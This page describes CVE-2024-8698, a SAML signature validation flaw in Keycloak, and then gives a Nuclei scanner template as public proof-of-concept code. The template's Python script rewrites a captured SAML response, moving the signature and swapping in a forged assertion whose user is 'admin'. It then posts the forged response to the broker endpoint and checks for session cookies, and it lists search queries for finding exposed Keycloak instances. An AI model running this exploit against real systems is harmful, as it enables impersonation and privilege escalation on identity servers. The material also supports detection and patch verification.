A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.
PoC代码[已公开]
id: CVE-2024-8698
info:
name: Keycloak - SAML Core Package Signature Validation Flaw
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-8698
- https://access.redhat.com/errata/RHSA-2024:6878
- https://access.redhat.com/errata/RHSA-2024:6879
- https://access.redhat.com/errata/RHSA-2024:6880
- https://access.redhat.com/errata/RHSA-2024:6882
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L
cvss-score: 7.7
cve-id: CVE-2024-8698
cwe-id: CWE-347
epss-score: 0.7958
epss-percentile: 0.99057
metadata:
verified: true
max-request: 1
vendor: redhat
product: keycloak
shodan-query: http.favicon.hash:"-1105083093"
fofa-query: icon_hash=-1105083093
google-query: intitle:"keycloak"
tags: cve,cve2024,keycloak,saml,signature
variables:
AUTH_SESSION_ID_LEGACY: "{{auth_cookie}}" # Cookie of the valid SAMLResponse message
RELAYSTATE: "{{relayState}}" # Relaystate linked to the Cookie
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
import os
import base64
import urllib.parse
from lxml import etree
# Get environment variables
username = b'admin@example.com'
saml_response = os.getenv('SAMLResponse')
username = os.getenv('username')
if not username:
username='admin'
# Decode and parse the SAML response
xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
parser = etree.XMLParser(remove_blank_text=True)
root = etree.fromstring(xml_content, parser)
# Define namespaces
namespaces = {
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'ds': 'http://www.w3.org/2000/09/xmldsig#'
}
# Find the <ds:Signature> element inside the root
response_signature = root.find('.//ds:Signature', namespaces)
if response_signature is not None:
root.remove(response_signature) # Remove the <ds:Signature> element from the root
# Find the <saml:Assertion> element (this is the old assertion)
old_ass = root.find('.//saml:Assertion', namespaces)
ass_signode = old_ass.find('./ds:Signature',namespaces)
if ass_signode is not None:
old_ass.remove(ass_signode)
issuer = root.find('.//saml:Issuer', namespaces)
issuer.addnext(ass_signode)
mod_ass = etree.fromstring(etree.tostring(old_ass))
mod_ass.find('.//saml:NameID',namespaces).text = username
for s in mod_ass.findall('.//saml:AttributeValue',namespaces):
s.text = username
mod_ass.attrib['ID'] = mod_ass.attrib['ID'][:-1]
resp_issuer = root.find('.//samlp:Status', namespaces)
resp_issuer.addnext(mod_ass)
modified_saml_response = etree.tostring(root, pretty_print=False, encoding='UTF-8', xml_declaration=False).decode('utf-8')
print(modified_saml_response)
http:
- raw:
- |
POST /realms/master/broker/saml/endpoint HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: AUTH_SESSION_ID_LEGACY={{AUTH_SESSION_ID_LEGACY}}
RelayState={{RELAYSTATE}}&SAMLResponse={{urlencode(base64(code_response))}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains_all(header,"KEYCLOAK_IDENTITY","KEYCLOAK_SESSION")'
condition: and
# digest: 4b0a00483046022100c48f641a46f64ba0668359cda60f990a8646ea70fa607b23a6e4873eba3887e4022100d7cbbdc9f2b4917ddf3f49fc14051d1c92b11bb829bf5c8dd1f10f2a53e96ed8:922c64590222798bb761d5b6d8e72950